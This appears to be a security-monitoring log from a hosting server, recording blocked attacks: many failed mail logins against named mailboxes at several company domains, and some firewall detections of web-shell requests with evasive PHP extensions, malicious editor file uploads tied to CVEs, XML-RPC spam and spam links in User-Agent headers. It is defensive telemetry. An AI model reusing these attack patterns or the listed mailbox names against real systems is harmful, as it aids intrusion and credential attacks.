country_id: 1694008
description:
2026-07-06 15:12:50 dovecot_login authenticator failed for H=([211.247.127.250]) [210.5.117.238]:62645: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.246
country_id: 2661886
description:
2026-07-06 15:12:52 dovecot_login authenticator failed for H=78-66-44-246-no2550.tbcn.telia.com ([24.249.199.9]) [78.66.44.246]:41750: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.24.110.57
country_id: 1835841
description:
2026-07-06 15:13:38 dovecot_login authenticator failed for H=(triband-mum-120.62.8.163.mtnl.net.in) [59.24.110.57]:37310: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 173.212.245.136
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.yuejiw.com/\">\xe8\x97\xa4\xe6\x9c\xac\xe6\x9c\x88\xe5\xad\xa3</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.69.178
country_id: 1269750
description:
2026-07-06 15:14:30 dovecot_login authenticator failed for H=([68.71.247.133]) [182.78.69.178]:39032: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.24.6
country_id: 3923057
description:
2026-07-06 15:14:48 dovecot_login authenticator failed for H=([49.124.153.11]) [190.104.24.6]:51340: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-06 15:15:52 dovecot_login authenticator failed for H=([98.188.47.130]) [182.95.109.138]:39686: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-06 15:16:21 dovecot_login authenticator failed for H=([111.26.63.87]) [76.49.199.97]:46806: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-06 15:16:32 dovecot_login authenticator failed for H=([49.124.151.13]) [171.244.60.35]:13112: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
country_id: 1269750
description:
2026-07-06 15:18:03 dovecot_login authenticator failed for H=([199.116.114.10]) [182.76.71.82]:56852: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.115.211.6
country_id: 2635167
description:
2026-07-06 15:20:00 dovecot_login authenticator failed for H=6.211.115.87.dyn.plus.net ([45.164.115.86]) [87.115.211.6]:36374: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.4.16.74
country_id: 3017382
description:
2026-07-06 15:20:26 dovecot_login authenticator failed for H=74.16.4.93.rev.sfr.net (www.nani.com.tw) [93.4.16.74]:57390: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.213.59
country_id: 1269750
description:
2026-07-06 15:22:20 dovecot_login authenticator failed for H=([49.124.147.253]) [182.66.213.59]:49016: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.94.205.12
country_id: 2264397
description:
2026-07-06 15:21:38 dovecot_login authenticator failed for H=a95-94-205-12.cpe.netcabo.pt ([36.67.103.169]) [95.94.205.12]:34214: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-07-06 15:22:08 dovecot_login authenticator failed for H=([93.4.16.74]) [181.54.70.40]:47630: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
2026-07-06 15:26:04 dovecot_login authenticator failed for H=([68.71.243.10]) [65.20.134.97]:36314: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-06 15:26:35 dovecot_login authenticator failed for H=([211.49.49.137]) [197.219.210.94]:49392: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-06 15:26:38 dovecot_login authenticator failed for H=([113.219.177.95]) [218.156.8.97]:58472: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.133.205.226
country_id: 1210997
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/products/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-06 15:46:18 dovecot_login authenticator failed for H=([68.71.247.133]) [222.97.195.179]:38252: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 129.212.226.92
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce11327gc3.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.228.210
country_id: 99237
description:
2026-07-06 15:59:12 dovecot_login authenticator failed for H=([192.111.135.19]) [62.201.228.210]:56416: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-06 15:59:53 dovecot_login authenticator failed for H=([192.111.137.33]) [101.13.6.86]:34428: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.14.223.70
country_id: 3703430
description:
2026-07-06 16:02:17 dovecot_login authenticator failed for H=(109x195x29x57.static-business.saratov.ertelecom.ru) [190.14.223.70]:41408: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-06 16:02:36 dovecot_login authenticator failed for H=([185.113.175.27]) [98.122.215.23]:58942: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-06 16:04:31 dovecot_login authenticator failed for H=([189.20.109.209]) [120.29.140.188]:50454: 535 Incorrect authentication data (set_id=office@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-06 16:05:01 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se ([192.111.130.1]) [155.4.209.51]:42056: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.192.62
country_id: 1733045
description:
2026-07-06 16:11:52 dovecot_login authenticator failed for H=([2.55.126.88]) [51.162.192.62]:57355: 535 Incorrect authentication data (set_id=sales@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-06 16:12:34 dovecot_login authenticator failed for H=([103.168.241.32]) [182.95.230.74]:46704: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-07-06 16:15:35 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg ([90.230.115.5]) [121.6.81.59]:42010: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.94.61
country_id: 294640
description:
2026-07-06 16:15:56 dovecot_login authenticator failed for H=([91.215.108.149]) [46.210.94.61]:57634: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.153.12.245
country_id: 1269750
description:
2026-07-06 16:16:42 dovecot_login authenticator failed for H=([70.166.167.33]) [103.153.12.245]:36064: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.46.160.175
country_id: 2661886
description:
2026-07-06 16:17:17 dovecot_login authenticator failed for H=37-46-160-175.customers.ownit.se ([92.47.166.23]) [37.46.160.175]:39075: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.151.172
country_id: 337996
description:
2026-07-06 16:17:57 dovecot_login authenticator failed for H=(179.185.69.43.static.gvt.net.br) [196.191.151.172]:42366: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.174.78
country_id: 1269750
description:
2026-07-06 16:18:25 dovecot_login authenticator failed for H=([41.128.181.196]) [122.187.174.78]:33906: 535 Incorrect authentication data (set_id=pan)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 51.68.233.43
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?image=1&add-to-cart=10189||QS:image=1&add-to-cart=10189||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-06 16:19:48 dovecot_login authenticator failed for H=(177-174-16-55.user.vivozap.com.br) [94.16.17.141]:48010: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.70
country_id: 1733045
description:
2026-07-06 16:21:30 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [49.124.151.70]:44902: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.233.12.109
country_id: 2963597
description:
2026-07-06 16:21:56 dovecot_login authenticator failed for H=(dsl-ncr-dynamic-169.179.23.125.airtelbroadband.in) [80.233.12.109]:40858: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-07-06 16:21:58 dovecot_login authenticator failed for H=(90.pool90-173-78.static.orange.es) [65.20.133.56]:41795: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.37.150.194
country_id: 357994
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:47958.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dca7a5c16c6816ad52c11ee6c80d0c2bbad3525c||Title:0x959b5260||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-06 16:31:10 dovecot_login authenticator failed for H=([178.176.229.36]) [181.61.251.4]:56234: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.89.128.6
country_id: 192950
description:
2026-07-06 16:34:05 dovecot_login authenticator failed for H=(221-120-73-24.emome-ip.hinet.net) [41.89.128.6]:54294: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.124.111.122
country_id: 2077456
description:
2026-07-06 16:34:24 dovecot_login authenticator failed for H=27-124-111-122.static.as58511.net (93-122-239-57.orangero.net) [27.124.111.122]:41436: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-06 16:36:22 dovecot_login authenticator failed for H=([112.186.203.10]) [207.254.29.22]:54486: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.61.33.117
country_id: 1269750
description:
2026-07-06 16:37:04 dovecot_login authenticator failed for H=([104.37.132.51]) [163.61.33.117]:42091: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 182.155.254.159
country_id: 1668284
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.winpaa.com\">\xe5\xae\xa2\xe6\x9c\x8d\xe7\x94\xb5\xe8\xaf\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.201
country_id: 1269750
description:
2026-07-06 16:36:41 dovecot_login authenticator failed for H=([125.88.160.13]) [122.187.229.201]:37642: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.173.185.49
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://clipxvk.com/catalog/thai-xxx/\">CLIPXVK</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-06 16:42:53 dovecot_login authenticator failed for H=([106.201.80.104]) [200.106.49.149]:45626: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.88.24
country_id: 2802361
description:
2026-07-06 16:43:14 dovecot_login authenticator failed for H=([175.206.1.60]) [91.86.88.24]:50880: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-06 16:44:19 dovecot_login authenticator failed for H=([124.83.9.141]) [182.95.119.30]:45330: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.92.51.188
country_id: 1269750
description:
2026-07-06 16:43:50 dovecot_login authenticator failed for H=([192.252.214.22]) [59.92.51.188]:38500: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2026-07-06 16:44:11 dovecot_login authenticator failed for H=([197.219.228.242]) [36.39.140.2]:53832: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-06 16:44:32 dovecot_login authenticator failed for H=([50.190.89.138]) [117.250.19.91]:39066: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-06 16:45:10 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [212.132.64.89]:58392: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-06 16:45:24 dovecot_login authenticator failed for H=(3.129.239.124.broad.ts.he.dynamic.163data.com.cn) [144.24.209.174]:59798: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.163.100
country_id: 1835841
description:
2026-07-06 16:55:36 dovecot_login authenticator failed for H=(nsg-corporate-106.146.185.122.airtel.in) [14.49.163.100]:57085: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.59.80
country_id: 1835841
description:
2026-07-06 16:55:53 dovecot_login authenticator failed for H=([68.71.243.10]) [119.192.59.80]:35130: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-06 16:57:27 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi ([70.166.167.47]) [80.223.163.253]:44158: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.250
country_id: 1036973
description:
2026-07-06 17:00:42 dovecot_login authenticator failed for H=([70.166.167.35]) [197.219.228.250]:46854: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.153.212
country_id: 1269750
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:65809.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:94d7b277a5d8db12ef35eb2b5d3b5ea703b4ed6c||Title:a5pj7ygmom8in6||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-06 17:06:53 dovecot_login authenticator failed for H=([92.124.133.35]) [182.95.61.82]:49208: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-06 17:07:08 dovecot_login authenticator failed for H=([103.235.18.219]) [76.49.199.97]:51192: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-06 17:07:57 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi (89-67-246-166.dynamic.play.pl) [80.223.190.179]:43232: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-06 17:07:34 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com (250.43.246.220.static.netvigator.com) [78.67.161.64]:59768: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 217.217.247.248
country_id: 660013
domain: idealloanz.com.au
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/a6019e9b232e827hiimub/fonts/a6019e9b232e.pht||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 217.217.247.248
country_id: 660013
domain: idealloanz.com.au
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/a6019e9b232e827xdaupg/fonts/a6019e9b232e.shtml||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 217.217.247.248
country_id: 660013
domain: idealloanz.com.au
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/a6019e9b232e827ovswax/fonts/a6019e9b232e.php.PhP||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 217.217.247.248
country_id: 660013
domain: idealloanz.com.au
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/a6019e9b232e827knvjhg/fonts/a6019e9b232e.PhP||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/yohoho-unblocked-76\">yohoho unblocked 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.180.125.157
country_id: 2661886
description:
2026-07-06 17:21:20 dovecot_login authenticator failed for H=ip157.net-193-180-125.koping.net (h205-250-25-62.ptr.cidc.telus.com) [193.180.125.157]:45500: 535 Incorrect authentication data (set_id=sales@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.155.225.93
country_id: 878675
description:
2026-07-06 17:21:55 dovecot_login authenticator failed for H=(78-67-161-64-no2550.tbcn.telia.com) [197.155.225.93]:45488: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-06 17:23:02 dovecot_login authenticator failed for H=([119.92.172.100]) [110.227.211.82]:56428: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.40.122.250
country_id: 2629691
description:
2026-07-06 17:25:05 dovecot_login authenticator failed for H=nova-185-040-122-250.cpe.novanet.is ([211.178.3.26]) [185.40.122.250]:42544: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-06 17:27:02 dovecot_login authenticator failed for H=([98.182.147.126]) [182.95.181.138]:45240: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.160.76
country_id: 1269750
description:
2026-07-06 17:27:42 dovecot_login authenticator failed for H=([187.7.85.97]) [103.250.160.76]:46226: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 62.169.17.63
country_id: 3017382
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceqi55grns.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-06 17:28:27 dovecot_login authenticator failed for H=([110.185.173.167]) [74.195.53.129]:53704: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.131
country_id: 99237
description:
2026-07-06 17:29:04 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [65.20.204.131]:47481: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 62.169.17.63
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceiwrr5a5b.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-06 17:29:53 dovecot_login authenticator failed for H=(host-45-145-203-68.mywic.eu) [147.148.205.252]:36278: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 60.145.136.8
country_id: 1861060
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:90286.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:60f3bfcf678f498e8498cf3769b63cd7cc4de84e||Title:0x7f4cc54a||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.234.138.49
country_id: 6252001
description:
2026-07-06 17:30:41 dovecot_login authenticator failed for H=([61.173.157.89]) [47.234.138.49]:51384: 535 Incorrect authentication data (set_id=office@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-06 17:31:19 dovecot_login authenticator failed for H=([5.140.212.184]) [125.19.182.118]:43298: 535 Incorrect authentication data (set_id=office)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 \xe0\xb8\x84\xe0\xb8\xa5\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb9\x80\xe0\xb8\xa2\xe0\xb9\x87\xe0\xb8\x94, <a href=\"https://clipxvk.com/video/\">https://clipxvk.com/video/</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.180
country_id: 99237
description:
2026-07-06 17:34:25 dovecot_login authenticator failed for H=(host-191-241-142-33.red.paralelo46.com.ar) [65.20.250.180]:59074: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.150.241.128
country_id: 2921044
description:
2026-07-06 17:34:35 dovecot_login authenticator failed for H=p5796f180.dip0.t-ipconnect.de ([174.64.199.92]) [87.150.241.128]:62470: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-06 17:35:01 dovecot_login authenticator failed for H=([49.124.151.2]) [103.67.152.201]:57170: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-06 17:35:19 dovecot_login authenticator failed for H=([175.198.18.3]) [182.95.181.50]:32910: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.30.129.156
country_id: 6251999
description:
2026-07-06 17:35:37 dovecot_login authenticator failed for H=host-96-30-129-156.public.eastlink.ca ([98.182.171.163]) [96.30.129.156]:49346: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-07-06 17:35:56 dovecot_login authenticator failed for H=([84.111.136.211]) [101.13.5.34]:56180: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-06 17:36:02 dovecot_login authenticator failed for H=([218.156.93.203]) [197.219.208.38]:49698: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.68.38.69
country_id: 298795
description:
2026-07-06 17:36:11 dovecot_login authenticator failed for H=([117.177.235.249]) [212.68.38.69]:58636: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-07-06 17:36:45 dovecot_login authenticator failed for H=([218.21.243.58]) [51.162.194.94]:39719: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/google-sites-unblocked\">Retro Bowl College 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-06 17:40:03 dovecot_login authenticator failed for H=([211.37.24.146]) [218.159.144.187]:60505: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.247.84
country_id: 1269750
description:
2026-07-06 17:40:44 dovecot_login authenticator failed for H=([27.39.128.170]) [203.192.247.84]:59580: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-06 17:43:00 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([152.52.207.80]) [111.70.38.54]:49682: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.156
country_id: 1668284
description:
